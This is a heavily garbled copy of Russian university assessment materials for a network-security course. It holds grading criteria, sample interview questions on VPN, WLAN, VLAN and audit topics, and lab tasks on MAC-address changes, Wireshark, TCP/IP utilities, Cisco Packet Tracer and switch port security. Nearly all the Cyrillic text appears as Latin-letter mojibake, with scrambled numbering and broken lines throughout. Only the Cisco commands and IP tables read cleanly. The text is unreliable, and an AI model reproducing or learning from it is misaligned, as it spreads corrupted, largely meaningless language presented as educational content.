«3aYTEHO» | BJIaZICHHE HEOOXOJMMBIMHM HaBBIKAMU TPH BbIMOJIHEHUH
MIPaKTUYECKHX 3aja4

OOyuaronuiicss JI€MOHCTPUPYET YCBOEHHE OCHOBHOTO
Marepuaia, Ipu OTBETE JIOMYCKAKOTCS HETOYHOCTH, MPHU
OTBET€ HEJOCTaTOYHO TMpPaBHIbHBIE (OPMYIUPOBKH,
HapylIEHHE  IIOCJIENOBATEIBHOCTH B HU3JI0)KECHUH
MIPOrPaAMMHOI0 MaTepuaia, 3aTpyAHEHUs] B BBIIIOJHEHUHU
MPAKTUYECKUX 3aJaHHUI

Cnaboe 3HaHHWE MPOrPaMMHOTO MaTepuaina, MPH OTBETE
BO3HHUKAIOT OIIWOKH, 3aTPyAHEHUS TPU BBITTOJHCHUH
MPAKTUYECKHUX PadoT

«HEYOOBJICTBOPUTECIBHO)

«HE He 65110 NONBITKH BBIIOJIHUTE 3aJaHHueC
3a4TCHO»




JlaGoparopHas paboTa

[Ixans! oneHUBaHUA Kpurepuu onenuBanus

JlaboparopHass paboTa BBHIOJHEHa B 0003HAYCHHBIN
MperoiaBaTelieM  CpPOK, MUCHMEHHBIA  OoTyer  0e3
3aMEYaHuM.

JlaGopaTopHass paboTa BBIMOJHEHA OOyYarONIUMCS B
MOJIHOM 00beMe C  COONIOJIEHUEM  HEO0OXOAUMOt

«OTJIIMYHO» IIOCJICA0BATCIIbHOCTH. O6y‘IaIOHlHI>'IC$I pa60TaJ1
IOJIHOCTBIO CaMOCTOATCIILHO, ITOKa3all HCO6XOI[I/IMBI€ JJIsL
IIPpOBCACHUA pa6OTBI TEOPETUUECCKHUC 3HaHMH,

MpaKTUYeCKHe YMEHHs M HaBblku. Pabora (oTder)
oopmiena akkypatHo, B HauOoJjiee ONTHMAIbHON ISt
¢ukcaiyu pe3ynbpTaToB hopme

JlaGopaTopHass paboTa BBINIOHEHA B 0003HAYEHHBIN
MPEero1aBaTesIeM CPOK, MMCbMEHHBIN OTYET ¢ HEOOIbIINMU
HEJ/I0YETaMH.

JlabopaTopHass paboTa BBINOJHEHA OOYyYarOUIUMCS B
MOJJHOM 00BbEME M  CaMOCTOATENbHO.  JlomyIeHbI
«3aYTEHO» | OTKJIOHEHHS OT HEOOXOAMMOW IMOCIEeN0BATEIHLHOCTH
«XOPOIIO) BBINOJIHEHUS], HE BIIMSIFOIIUE HA MPABHIIBHOCTh KOHEYHOTO
pesynbrara. PaboTa moka3piBaeT 3HAHWE OOYYAIOLIHMMCS
OCHOBHOTO TEOPETHYECKOTO Marepuajla M OBJAJICHUC
YMEHUSIMH, HEOOXOJUMBIMH JUISI  CAMOCTOSITEITLHOTO
BBIMIOJIHEHUST  paboThl.  JlomylieHbl HETOYHOCTH U
HEOpPEXKHOCTh B OQOPMIICHHHM pE3yJIbTaTOB PabOTHI
(oTuera)

Jlabopatopnasi pa0OoTa BBINOJHEHA C  33JCPXKKOM,
MUCHMEHHBIN OTYET C HEJJOYCTaAMHU.

JlaboparopHass paboTa BBITIONHSAETCS M O(OPMIISETCS
oOyyaromiuMcsi Tpu  THOCTOpoHHeH  momomm. Ha
«yIIOBJIETBOPUTEIHLHOY BEITIOJIHEHUE pabOTHl 3aTpauyrBaeTCsi MHOTO BpPEMEHH.
OOyuaronuiicss TOKa3bIBaeT 3HAHUSA TEOPETUYECKOTO
MaTepualiia, HO  WCIBITBIBACT  3aTPyJHEHHE  TIpU
CaMOCTOSITENIbHONW paboTe ¢ MCTOYHMKAMHU 3HAHUM WIIH
npudopamu

JlaGopatopHast paboTa He BBINOJIHEHA, TUCbMEHHBINA OTYET
HE TPEICTaBIICH.

Pe3ynpTathl, MosyuyeHHbIEe 00yJarOUIMMCs, HE TO3BOJISIOT
ClIeNaTh MPABWIBHBIX BBHIBOJIOB U MOJIHOCTBIO PACXOMSATCS

«HE C IIOCTaBJIEHHOW INenbio. IlokaspiBaeTcs IUI0XO€ 3HAHHE
«HEYOBJIETBOPUTENBHO»
3a4TE€HO» | TEOPETUYECKOT0 MaTepuanga U OTCYTCTBHE HEOOXOAMMBIX
YMEHHMH.

JlaGopaTopHass paboTa HE BBINOJHEHA, Yy YYaIIErocs
OTCYTCTBYIOT HEOOXOJWMBIE [UIsl TPOBEACHUS PAOOTHI
TCOPCTUUCCKHUEC 3HAHNUA, TPAKTUUCCKHNEC YMCHUSA 1 HABBIKN

3. TunoBbIe KOHTPOJIbHbIE 32/1aHNSI MJIM MHbIE MATEePHAJIbl, HE00OX0AMMbIe
JJISl OLEHKH 3HAHUI, YMEHUIl, HABBIKOB U (MJIM) ONBITA AeSATEJbHOCTH

3.1 TunoBbIe KOHTPOJILHBIE 32/1aHUSI /11 MPOBeeHHs co0eceJ0BaHUS
KontponbHble BapwaHThl 3aJaHUN  BBUIOKEHBI B DJIGKTPOHHOW  HMH(POPMAIIMOHHO-
obpazoBarensHoii cpene Upl YIIC, noctynHoi#t o0yyaroiemMycst 4epe3 ero JHYHbIN KaOuHeT.
Hwxe mpuBenen oOpasel TUIOBBIX BAPUAHTOB 3aaHUM Il MPOBEJCHUS COOECEeIOBaHUIA.



OO0pas3elr THITOBOTO BapruaHTa BOIIPOCOB JIJIs IPOBEJCHHS COOCCEIOBaHMUS

«Tema 1. OcHOBHBIE TOHATHUS MHPOPMAITMOHHON 6€301aCHOCTH U MH(OPMAIIMOHHBIX ceTei. OCHOBBI

1.

ok~

IIOCTPOEHHUSI COBPEMEHHBIX JIOKAJIBHBIX CETEN»
Jaiite onpeenenne NOHATHIO "HHPOpMAIMOHHas Oe30macHOCTh". Kakue OCHOBHEIC
COCTABJISIFOLIME B HETO BXOJAT?
[lepeuncnnre 0OCHOBHBIE YrpO3bl HH(OOPMAIIHOHHON 0€30IaCHOCTHU B JIOKAJIBHBIX CETSIX.
Kakue metoap! nconb3yroTcs A odecnedyeHus: KoHGUACHIINATbHOCTH HHPOpMAIUHU B
cersx?
Kak yctpoena coBpemeHHas joKkanbHas ceThb? Kakue OCHOBHbIE KOMIIOHEHThI B HEE€ BXOIAT?
Kakwue Tomonoruu 10KaabHBIX ceTeld Bbl 3HaeTe? B ueM ux 0coOeHHOCTH U pa3nuius’?

O0pa3el TUIIOBOTO BapUaHTa BOIPOCOB JIsl IIPOBEACHUS COOECEIOBaHMUS

«Tema 2. CereBble oniepanrioHHbIe cucTeMbl. O0ecrieueHrne 6e30MacHOCTH CeTel Ha 0a3e CEeTeBBIX

=

ok w

.

2.

OTIEPALIMOHHBIX CHCTEM)
Kakune ocHOBHBIE ()yHKIIH BBINIOJHSET CETEBAask ONEPAI[MOHHAs cucTeMa?
[lepeuncaure n3Bectuoie BaMm ceteBblie OC. Kakue ocobennoctu ectb y Windows Server u
UNIX-mmogo0HbIX cuctem?
Kakue cymectByroT criocoObl pasrpaHuyeHus gocryna B cereBbix OC?
Kak nactpouts O6pannmaysp B Windows Server/Linux asst obecriedenust 6€30nacHOCTH CeTh?
Kakue Bo3amoxHOCTH NpeocTaBisiioT cereBble OC Ui OpraHn3aniy BUPTYAIbHBIX YaCTHBIX
ceTel M yJaleHHOro A0cTyna?

OO0pa3err TUIIOBOTO BapruaHTa BOIIPOCOB JIJIsl IPOBEACHHS COOCCETIOBAHMS
«Tema 3. TexHoaoruu obdecrnedeHns: 6€30IaCHOCTH B JIOKAIBHBIX CETIX»
Kakue TeXHOIOTHY UCTIONB3YIOTCS IS HICHTU(UKAINY U ayTeHTH(PUKAIIUN TI0JIh30BaTeIICH
B JJOKaJbHOM ceThn?
Kak npumeHSr0TCS TEXHOIOTHUU BUPTYaIbHbBIX YaCTHBIX ceTell VPN i 3auThl JaHHBIX B
JIOKQJIBHBIX CETIX?
Kak paboratot cuctembl 0OHapyKEHUSI U NIPEIOTBPALLEHUS BTOPKEHHUH B JIOKAJIbHbBIE CETU?
Kakwue cymiecTByIoT cpeacTBa KpUITorpadGuyecKoi 3auThl JaHHBIX P Tepeaade Mo
JIOKAJILHOM ceTh?
Kak M0>XHO HCIIOJIB30BaTh TEXHOJIOTHIO OJIOKUEHH JIJIS MOBBIIICHUS 0€30IMacCHOCTH
JIOKAJIbHBIX BEIYUCIUTENBHBIX CETEH?

O6p21361_[ THUIIOBOI'O BapuaHTa BOIIPOCOB IS IPOBCACHUSA CO6€C€,[LOB8.HI/I}I

«Tema 4. [lepcrieKTUBHBIE HAIIPABIECHUS PAa3BUTHS U MTPOOIeMbl HHPOPMAIIMOHHBIX CETEM»
1.

Kakue nepcrekTHBHbBIE TEXHOJIOTUHU UCIIONIB3YIOTCA JJIsl IOCTPOECHHUS BEICOKOCKOPOCTHBIX
ceTeil HOBOro MOKOJIEHUs?

Kakune npo0seMbl BO3HUKAIOT IPU BHEJIPEHUH TeXHOoruil MIHTepHeTa Belei u kak ux
MO>KHO PEUIUTH?

KakoBbI OCHOBHBIE TEHCHLIUU Pa3BUTHs OECIIPOBOAHBIX CEHCOPHBIX ceTeil? I'ie onn
MIPUMEHSIOTCS?

Kakue ysa3BUMOCTH U yrpo3bl HHPOPMALMOHHOM O€30MAaCHOCTH CYLIECTBYIOT JUIS
COBpeMeHHBIX ceTelt SG?

Kakue 3amaum crosT nepes pa3paboTUMKaMy IPOrpaMMHOTo oOecrieueH s i ceTe
cnenytomiero nokoneHus (6G u nanee)?

O0pa3elr TUITOBOTO BapHUaHTa BOIPOCOB JIsl IPOBEACHUS cOOeCe0BaHMUS

«Tema 5. Dransl BHeIpeHUs OecripoBoiHOM ceTh. [IpoTokoinsl 6e3omacHocTr ceteit WLAN

1.
2.

Kaxkue stamsl BkITtouaeT B ceds mmporiiece BHenpeHust 0ecripoBoanoi cetn WLAN?
Kakumu crangapramu (802.11a/b/g/n u T.11.) onpeaensiroTcst IpOTOKOJIbI O€CIPOBOAHBIX
cerei?



3. Kakwue metoap! mudpoBaHus U ayTeHTU(UKALUN UCTIOB3YyI0TCs B poTokonax WEP, WPA,
WPA2?

Kaxk ycrpoen npotokon 6e3onacaoctd WPA2 Ha ocHoBe cranmapra 802.11i7

Kakue Mepbl MOKHO IPEAIPUHATH U1 NOBBIILIEHHS 0€301aCHOCTH OECIIPOBOAHOM CETH Ha
HpEeANPUATHH?

ok~

OO0pa3err TUTIOBOTO BapruaHTa BOIIPOCOB JIJIsl IPOBEACHHS COOECETIOBAHMS
«Tema 6. CpencrBa pealin3aliii MEKCETEBOTO B3aUMOICHCTBUSI»

1. Kakue ocHoBHbIE ypoBHU MoAesn OSI 3aeiicTBOBaHbI IPU OPraHU3aIui MEXCETEBOTO
B3aUMOJICUCTBUA?
Kaxkue npoTokosbl HCTIOIB3YIOTCS HA CETEBOM YPOBHE JIJIsI MEKCETEBOI'O B3aUMOICHCTBUA?
Kak paborarot MapipyTu3aTopsl i1 00ecreueHns B3auMOACHCTBHUS JTJOKAIbHBIX CETEH?
Uro Ttakoe TpaHcisus ceteBbix aapecoB (NAT) u rae ona npumensiercs?
Kakue BO3MOKHOCTH TIPEIOCTaBISIOT Proxies-cepBepsl i1l OpraHUu3aii MEXXCETEBOTO
B3aMMOJICHCTBUSA?

okrwn

OO6pa3zelr TUITOBOTO BapuaHTa BOIIPOCOB ISl POBEICHUS COOECEeI0BaHMS
«Tema 7. OGecrieuenre 0€30IIaCHOCTH MEKCETEBOT0 B3aUMOICHCTBHUS»
Kakwue yrpo3sl 6€301acHOCTH BO3HUKAIOT MPU MEKCETEBOM B3aMMOJICHCTBUH?
KaK HpHMCH?HOTC?I MECKCETCBBIC 3KpaHI)I JJIA 3allIUTHI HepI/IMeTpa CCTHu OpFaHI/ISaHI/II/I?
3. Kaxkue Bo3MOXHOCTH npeaocTaBisieT TexHoiaorus VPN nis 6e30macHoro yaaneHHOTo
nocryna?
4. Kak peanusyercs 0e30nacHas nepeaadya JaHHBIX MEXY CETSIMU C IIOMOIIbIO IPOTOKOJIA
IPSec?
5. Kakue cyniecTByrOT peKOMEHIAINU 110 OpraHU3aIuy 0€30I1aCHOTO B3aMMOICHCTBUS C CEThIO
Wurepuer?

N

O0paser TUIIOBOTO BapuaHTa BOIPOCOB IS IIPOBEAEHUS coOece0BaHUs
«Tema 8. Haznauenue BupTyanbHbIx cetell. Co3/laHre BUPTYaJIbHBIX ceTel Ha 06a3e 0JTHOro
KOMMYTaTOpa»
JUI KakuXx Leel NCIOJIb3YI0TCS BUPTYaIbHbIE CETH B KOMITBIOTEPHBIX CETAX?
B uem npeumyiecTBo NpuMeHEHHs BUPTYaJIbHBIX JIOKaIbHBIX ceTeil VLAN?
Kak nactpouts VLAN Ha kommytatope Cisco?
Kak naznauarorcs uaentudukaropsl VLAN npu koHuUryprupoBanuu kommyraropa?
Kakune ocobeHHOCTH ecTh pH opranu3zanuu Mex-VLAN B3aumoaeicTBus Ha KoMMyTaTope?

AR A

OO0pa3zer] TUIIOBOTO BapuaHTa BONIPOCOB IS TPOBEACHUS cOOeceI0BaHUS

«Tema 9. Coznanue BUPTyaJbHBIX ceTel Ha Oa3e HECKOIBKUX KOMMYTaTOPOB»
Kaxkue texnonoruu ucnomnb3yrorcs 1 oprannzanui VLAN Ha HECKOIBKHUX KOMMYTAaToOpax?
Kak HactpauBaeTcst TpaHKHUHT MEXAy KoMMyTaTopamu ais nepenaun VLAN?
Kak ocymecTsisieTcs Ha3HaU€HUE IOPTOB KOMMYTATopa B onpezeneHHplii VLAN?
Kak o6ecnieunBaercs mapupyruzanus Mmexay VLAN, pacrnoyio)keHHBIMU Ha pa3HbIX
KOMMYyTarTopax?
5. Kaxkue ocobennoctu ectb mpu nocrpoeHnu VLAN Ha koMMyTaTopax pa3HbIX

IIPOU3BOIUTENIEH?

el AN

OO6pa3zer] TUTIOBOTO BapuaHTa BOIIPOCOB I IPOBEACHUS COOECe0BaHUS
«Tema 10. O630p cpencTB aHAIM3a 3AMUIIICHHOCTH BBIYUCIUTENBHBIX CeTeil. MeToauku
IIPUMEHEHHUs] CPEICTB aHaIN3a 3AIUIIEHHOCTH CETEN»
Kakne ocHOBHBIE THIIBI CPEJICTB MCIOIB3YIOTCS I aHAJIN3A 3AIMIIEHHOCTH CeTen?
Kak pa0oratoT cucremMbl 0OOHapyXEHHS U MPEAOTBPAILCHUS BTOPKEHUH?
Kak ocymecTBisiercs CkaHUpOBaHUE YA3BUMOCTEN € TOMOIIBIO CKAHEPOB YSI3BUMOCTEN?

wnh e



4. Kakue 3Tansl BKJIIOYAET KOMIUIEKCHBIN ayIUT 3alUIIIEHHOCTH CETU?
5. Kakue pexomeHaanum HeoO0X0aMMO COOJII0IaTh MPU MTPOBEACHUHN TECTUPOBAHUS HA
IIPOHUKHOBEHUE B CETH?

OO6pa3zer] TUTIOBOTO BapuaHTa BOIIPOCOB IS TPOBEACHUS COOECeI0BaHUS
«Tema 11. IIpaBoBbIe OCHOBBI 3aIIUTHI HH()OPMAIIUK B KOMIIBIOTEPHBIX CETAX. 3alIUIIEHHBIN
JTOKYMEHTO000POT»
Kakue ocHoBHbIe 3ak0HBI PD perynupyiot 3ammTy nHGOpMauu B KOMIBIOTEPHBIX CETIX?
2. Yro Takoe nepcoHaIbHbIE JAaHHBIE COTIIACHO POCCUIICKOMY 3aKOHOIATeNbCTBY? Kakue
TpeOOBaHUs IPEIBABISAIOTCS K MX 00pabOTKe U XpaHEHHIO?
3. Kakue ocHOBHBIE TPUHIUITEI OOecTieueHHsI HHPOPMALIMOHHON 0€301TacHOCTH B

=

OpraHu3anusx?

4. Kaxkue cymecTByIOT OCHOBHBIE METO/BI M CPECTBA 3ALIUTHI 3JIEKTPOHHOTO
JOKyMEeHTOoo0opoTa?

5. Kak opranusyercs 6e30macHbIi yAaIeHHbIH JOCTYI K KOPIOPATUBHBIM HH(POPMAIIMOHHBIM
cucreMam?

OG6pa3zelr TUTIOBOTO BapuaHTa BOIIPOCOB ISl MPOBEEHUS COOECEeI0BAHMS
«Tema 12. Buasl aynuta 6ezonacHoctu ceteit OBM. Oprann3aiimoHHO-paciopsAUTeIbHbIC
JIOKYMEHTHI 110 o0ecreueHuto 6e3omacHoctu cereid 9BM»
Kakue Buab!l ayauta nndopmalnoHHON O€30MacHOCTH ceTel Bbl 3HaeTe?
UTo BXOJUT B MOHATHE "OPraHU3AIMOHHO-TEXHUYCCKHE MEPHI 3alIUTH HHpopMauu'?
3. Kakue ocHOBHbIE HOPMATHUBHBIE IOKYMEHTHI PErlIaMEHTUPYIOT o0ecrieueHrne 6e30MacHOCTH
ceTell B opraHu3amum?
Uro BKIIIOYAET B ce0s1 TEXHUYECKHUI ayAUT 3alUIIIEHHOCTH KOMITbIOTEPHO CeTH?
Kaxkue opranuzaimoHHO-paciopsIuTeIbHbIE TOKYMEHTHI pa3padaThIBAIOTCS IS
obecrieuenus Wb cetn npennpustus?

N
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3.2 TunoBble 3a1aHuSA /1JIs1 BLINOJTHEHUSI J1a00PaTOPHOIi paGoThl M IPUMEPHBIIi MepeYeHb
BOIIPOCOB /ISl €€ 3aIUThI
KontponbHble  BapuaHThl 3aJaHUN  BBUIOKEHBI B DJIGKTPOHHOW  MH(POPMAIIMOHHO-
obpazoBarensHoit cpene Upl ' YIIC, noctynHoit o0yyatoiemMycsi yepe3 ero JHUHbIN KaOuHeT.
Hwuxe mpuBenen oOpaselr TUIIOBBIX BAPUAHTOB 3aJaHU JJIs1 BHITIOJIHEHHS JIA0OPATOPHBIX padOT
Y IPUMEPHBIN NTEpEUYEeHb BOMPOCOB JJISI UX 3AILUTHI.

O0pa3zern 3a1aHuii JU1s BBITOJHEHUS 1a00paTOPHBIX pabOT M MPUMEPHBIM epedeHb BOIPOCOB [T UX
3aIIHATHI
«JTaboparopras padora Ne 1. 3menenue MAC-aapeca B OC Windowsy
3aganue
[Tomensts MAC-anpec I1K ucnons3ysi:

1. JlpatiBep agantepa
2. CucremHbli peecTp
3. Iporpammy TMAC
Bomnpocstr:
1. [lnsa gero vyxHo u3meHsth MAC-aapec cereBoro agantepa B Windows?
2. Kakue koMauap! ucHonb3yroTcs B Windows s mpocMoTpa Tekymero MAC-anpeca?
3. C nmomMomnibio Kakoi yTHIHTH MOXHO n3MeHuTh MAC-aapec B Windows?
4. Kakue noTeHIHaIbHbIe TPOOIEMBbI MOTYT BO3HUKHYTH mociie cMeHbl MAC-anpeca yctpoiictBa?
5. Kak npoeputb, uto MAC-anpec ycTpoiicTBa AEMCTBUTEIHLHO MOMEHSJICS MOCIE BBIMOTHEHUS

KoMaHx?



OOpa3zer 3a1aHui U151 BBITOJHEHHS 1a00paTOPHBIX paOdOT M MPUMEPHBIN NEpedeHb BOIPOCOB [T UX
3aIUTHI
«Jlabopatopnas padora Ne 2. Mccnenoanue kaapa Ethernet mporokona Ethernet ¢ momorsio
nporpammbl Wireshark: — uzyuenne tpaduka aTaku ¢ TOMOIIBIO IIPOrPaMMBbI aHAJTU3aTOPa MMAKETOB;
— HacCTpoiika nHTep(HeicoB BUPTYaTbHBIX MAIIMH MCIIOJIB3Ys PaBUIIA ICICHUS CETEl Ha MOJICETHY
3amaunue:.
[Tpuobperenue HaBBIKOB 0 Ha3HaYeHUH npoTokoia Ethernet
N3yuenue ocHoBHBIX (hopmaToB kaapa Ethernet
W3yuenmne naznauenuit moseit kaapa Ethernet
[IpakTueckoe uccnenosanue Ethernet kaapoB nepegaBaeMbIX 1O CETH.
Bomnpocsr:
Kaxkoe naznauenue nmeet nporokoi Ethernet?
Kakue ocHoBHBIE TIOJIs1 conepkuT kaap Ethernet?
Kaxkoit MmexaHu3M ympaBJIeHHS TOCTYIIOM K cpefie ucrnonb3yercs B Ethernet?
[Mporpamma Wireshark He oToOpaxkaer mosie mpeamOysbl 3arojioBka Kaapa. UTO COAEPIKUT
npeamOysa?

el N =

PonbRE

O6pasern 3aaHuil 1715 BBIMOJIHEHUS J1a00paTOPHBIX PadOT U MPUMEPHBIH MepeueHb BOMPOCOB LIS UX
3aIUTHI
«Jlabopatopnas padora Ne 3: M3yuenue yrunut tCp/ip B oc windows; — dos kak Harpy3ouHoe
TECTHUPOBAHUE
3ananue:
Nzyuuts auarnoctuuyeckue yrunutsl TCP/IP 8 OC Windows, npenqHa3HadeHHbIE 17151 TPOBEPKHU
KOH(UTypalK CTeKa U TECTUPOBAHUSI CETEBOTO COETUHEHMUS:
Vupaxuenue 1. [Tonyuenne cnipaBounoi unpopmaruu o komaraam (ipconfig, ping, tracert,
hostname, arp, route, netstat, nslookup);
Yupaxuenue 2. [lonyyenne numenu xocra.
VYnpaxuenue 3. U3ydenue yrunutsl ipconfig.
VYupaxuenue 4. TectupoBaHue CBS3H ¢ TOMOUIBIO YTUIUTHI ping.
VYupaxuenue 5. Onpenenenue nytu [P-nakera.
VYnpaxuenue 6: [Ipocmorp ARP-k3ma.
Yupaxuenue 7: [IpocMoTp J10KaabHON TaOIUIBI MAapIIPYTU3ALIUH.
Yopaxuenue 8. [lonyuyenne nnpopmanmu o TEKYIIMX CETEBBIX COSUHEHHUSIX U MPOTOKOIAX CTEKa
TCP/IP.
VYnpaxuenue 9. [Tonyuenne DNS-undopmaruu ¢ nomorursio nslookup.
Bomnpocsr:
1.  PackpbITh TEpMUHBI:
Xocm — 310 M000€E YCTPOUCTRO, ....
L1In103 — 3TO TOUKA CETH, KOTOPAsi CIIY)KUT BBIXOAOM ..... B cetn IHTepHET y3710M MM KOHEYHOMN
TOYKOH MOKET OBITH WIIU CETEBOH ...... 0 9) 1 ; U
Xon— dTO y4aCTOK CETH ............
Bpewms orcusnu nakema— npenenbHbId EPUO]T .............
Mapwipym 310 1IyTh, 110 KOTOPOMY ............
Macka noocemu — 32-OUTHBIIA HOMED, UCTIOIB3YEMBIH .......
Iloocemb — 3TO CeTh MEHBILIETO pa3Mepa, CO3JJaHHAS IIYTEM .............
Asmopumemmubwiti cepeep DNS - 310 cepBep, KOTOPBIN (aKTHUECKH COJEPKHT ...........
TCP-nopm (cemegou nopm) — ...........
Loopback, unu nemns - 310 anmapaTHbIA WIH TPOTPAMMHBIA METO/I, KOTOPBIH ......
Bpems omxnuka - 310 ob1iee BpeMs, HEOOXOUMOE .. ...

2. Kakue yruiauThl MOKHO UCTIOIB30BATH ISl TIPOBEPKHU MPABMIIBHOCTH KOH(DUTYPUPOBAHUS
TCP/IP?

3
4. Kaxum 06pa3zoM KoMaH[a ping MpoBepsieT COEAMHEHUE C yaleHHBIM XOCTOM?
5. KakoBo Ha3zHauenue npotokona ARP?



©ooNo

Kak yrunura ping paspemiaer vMeHa y3J10B B ip-aapeca (1 Hao0opoT)?

Kakue MoryT ObITh TPUYMHBI HEYJTAYHOTO 3aBEPIICHUs ping U tracert?

Bcerma 1 MOXHO y3HaTh CHMBOJIBHOE UM y3JIa TIO €To ip-aapecy?

Kaxo#t Tun 3anucu 3anpammuBaetr y DNS-cepBepa npocreiimas opma nslookup?

OO6pasern 3a1aHui 715 BBIMOJIHEHUS Ja00paTOPHBIX pabOT U MPUMEPHBIH MepeueHb BOMPOCOB LI UX

3alllUThI

«JlabopaTopuas pabora Ne 4. 3HAKOMCTBO CO CpeIOi MOIEIMPOBaHus «CiSCO packet tracer»: —
3HakoMcTBO ¢ paboroii B [1O Cisco Packet Tracer; —iporokonst ARP 1 ICMP (porpammer ping u

tracert)»

3anaHue:

Lenbto manHOl J1abopaTopHON pabOTHI SBISETCS O3HAKOMIIEHHME C HHTepdeiicoM cuMymnsTopa,
W3YYCHUE PEXUMA PEaJbHOr0 BPEMEHHM, OCHOBHBIE ONEpPAlMU C YCTPOMCTBAMH, U3YUUTh PEXKUM
cumynsiuu Cisco Packet Tracer, mporokonsl ARP u ICMP Ha npumepe nporpamum ping u tracert.
3aganue 1.

1.

ok w0

Coznianue TOnoJIoTuu CeTH;

JloGaBieHre KOHEUHbIX Y3JI10B;

[TogkiroueHre K KOHEYHBIM y3J1aM CETEBBIX YCTPOMCTB;
Hacrpoiika IP-agpecoB u Macok cetu Ha y3iax;
[TpoBepka pabOThI CETH B PEKUME PEATHHOTO BPEMEHH

[TocTpouM TOMOJIOTUIO CETH COTIIACHO IPUMEPY, YKa3aHHOM B 3a/1aHUU:

\ \/

Hub-PT 2O50T-24
hed hub zw_bsd

Hcatpouwm IP-agpeccanuio 1ist XOCTOB CETH.

Xoct, Pabouas cranmus IP-anpec Macka noacern
(koMmbIOTED)
PCO 192.168.1.10 255.255.255.0
PC1 192.168.1.11 255.255.255.0
PC2 192.168.1.12 255.255.255.0
PC3 192.168.1.13 255.255.255.0
3amanue 2.

coarwNE

[TocTpoeHne TOnOJIOrMK CETH, HACTPOMKA KOHEUHBIX Y3JI0B;
Hacrpoiika mapipyrusaropa;

[TpoBepka paboThI CETH B PEIKUME CUMYIISINH;

ITockuka ping-3ampoca BHYTPH CETH;

[Tocbuika ping-3ampoca BO BHEIIHIOK CETbh;

ITockinka ping-3anmpoca Ha HecymecTBytomuii IP-anpec y3na;



7. BbIMoTHEHNE WHANBUAYAIBHOTO 33 JaHUSI.
CozmaaumM crneayrouryio TOMOJIOTHIO CETH, COCTOSIYI0 U3 KOHeuHbIX y3i10B (PC), koMMyTaTopoB u
MapIIpyTu3aropa:

Jlyis TOoro, 4TOOBI BKJIIOYHTH HHTEP(EHCH, COSAMHSIONINE KOMMYTATOPBI C MapHIpyTH3aTOPOM

HCIIONB3YIOT KOMaH 1y no shutdown:

Router (config) #interface FastEthernet(/1

Router (config-if) #no shutdown

Router (config-if) &

2 LINE-5-CHANGZED: Interface FastEthernetl/l, changed state to up

Hactpoum IP-anpecanuro 1 XOCTOB CETH:

Xoct IP-anpec Macka noacetu
PC5 192.168.5.3 255.255.255.0
LaptopO 192.168.5.4 255.255.255.0

PC6 192.168.5.5 255.255.255.0

Xoct IP-anpec Macka noacetu

PCO 192.168.3.3 255.255.255.0

PC1 192.168.3.4 255.255.255.0

PC2 192.168.3.5 255.255.255.0

PC3 192.168.3.6 255.255.255.0

PC4 192.168.3.7 255.255.255.0
Bompockr:
1.  Kakwue pexxumsl paboTsl umerotces B cumyisitope Cisco Packet Tracer?
2.  Kakue ocHOBHBIE 351eMeHTHI HHTEpdeiica mpucyTcTByIOT B cumynsatope Cisco Packet Tracer?
3. C momoripio KaKuxX KOMaH[ B CHMYJIATOPE MOKHO ipocMoTpeTh ARP Tabnuiy ycrporictea?
4.  Kak c moMoIipt0 KOMaH/bl ping B CUMYJISTOPE IPOBEPUTH JOCTYITHOCTD y3J1a CeTh?
5. Kak ¢ mnomompro KOMaHIbI tracert ONPEACTUTh MApHIPYT TPOXOXKACHHUS MAKETOB B

CUMYJIMPOBAaHHON ceTn?

O0pa3ser 3a1aHuii U151 BBITOJHEHUS 1a00paTOPHBIX pabOT M MPUMEPHBIN epedeHb BOIPOCOB [T UX
3aIUTHI

«JIabopatopHas pabora Ne 5. Hactpoiika HCXOJHBIX TapaMeTpoB 6€301MacHOCTH KOMMyTaTopa: —port
security»

3agaHue:

Llenbro naHHOM JTabOpaTOpHOI pabOTHI SIBISETCS O3HAKOMIICHHME M HACTpoiika POrt security.

D710 GyHKLHUS YHOpaBIsIeMOro KOMMYTaToOpa, Mo3BoJIsoNmas yka3arh konudectBo MAC anpecoB uiu

crimcok MAC anpecoB yCTpOWCTB CeTH, KOTOPBIM pa3pelieHo NepeIaBaTh JaHHbIE Yepe3 yKa3aHHbIH

IIOPT KOMMYTaTOpa.

IpakTuueckasi yactb. Konpurypuposanue Port-Security
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Puc. 1 Tonosorus cetu

3anaua 1. McxonHast KOHQUTyparms.

Hlar 1. IIpexae yeM npuctynath K KoHpurypamnuu PortSecurity, HeoOX0aUMO TPOBEPHUTH, UTO
TOTIOJIOTHSI CETH, 3aJaHHas Ha JaboparopHoil pabore Ned, paboTaeT KOPpPEKTHO, a TaK ke
COOTBETCTBYET BCEM MTOCTABJICHHBIM 33]]auam

1.1 IIpoBeputsb cocTosiHue VIP cTaTyca y Kakaoro kommyraropa. SO UMeeT cTaTyc «cepBepay,
S1 u S2 — craryc «mpo3paunsblity, a S3 u S4 — cTaTyc «KIMEHTaY:

Switch#show vtp status

1.2 ITpoBeputh 0a3zy nanabix VLAN Ha Ka)KIOM KOMMYTaTOpe:

Switch#show vlan

1.3 TIpoepuTs, uro Native VLAN Ha Bcex kommyTaropax oauHakos — VLAN 10:

Switch#show int trunk

Ilar 2. Hactpoiika 0a30BbIX MapaMeTpoB 3auThl KoOMMyTaTopoB CiSCO u QyHKIHH.
Ha Bcex koMMyTaTopax HaCTPOUTH MMapOJIb HA BXOJI B TIPUBUIICTHPOBAHHBIA PEKHIM.

OCHOBHBIMH BO3MOKHOCTSIMU OpPTaHU3aI[|K 0€30MacHOCTH KoMMYTaTopoB CiSCO SBIISIOTCS:
1. 3ammTa KOMIUIEKCHBIM Taposiem ais console, vty 1 ENABLE Mode;

2. YcraHOBKa MU(POBAHUS JJIS TIAPOJICH;

3. YcraHOBKa TeKCTa MPUBETCTBUSA (3Ta YacTh BaKHA C IOPUAMYECKON TOUKH 3pEHHUS);
4. YcraHOBKa MapaMeTpoB 0€30MacHOCTH Il IOPTOB JIOCTYTIA;

5. IlpoBepka napameTpoB 6€30MaCHOCTH I MOPTOB AOCTYIIA.

2.1 3amuTa KOMIUIEKCHBIM napoJiem ajs console, vty u ENABLE Mode
Ycranoska maposist B Cisco 10S.

Jns 3amuthl obopynoBanus Cisco MCHoONb3ylOTCs MSATH maposieii: enable password, enable
secret,console password , VTY password u# AUX password. IlepBeie nBa mapoiisi Ciayxar s



YCTAaHOBKU PAa3pELICHHOIO IMapois, KOTOPBIM 3alUINACT IPUBUICTHUPOBAHHBIN pexuM. Ilapois
3aIpanIuBaeTcs y MOJIb30BaTeNs Mocie BBOAa KoMaH sl enable. OcranpHble Tpu maposis ciyxar Juis
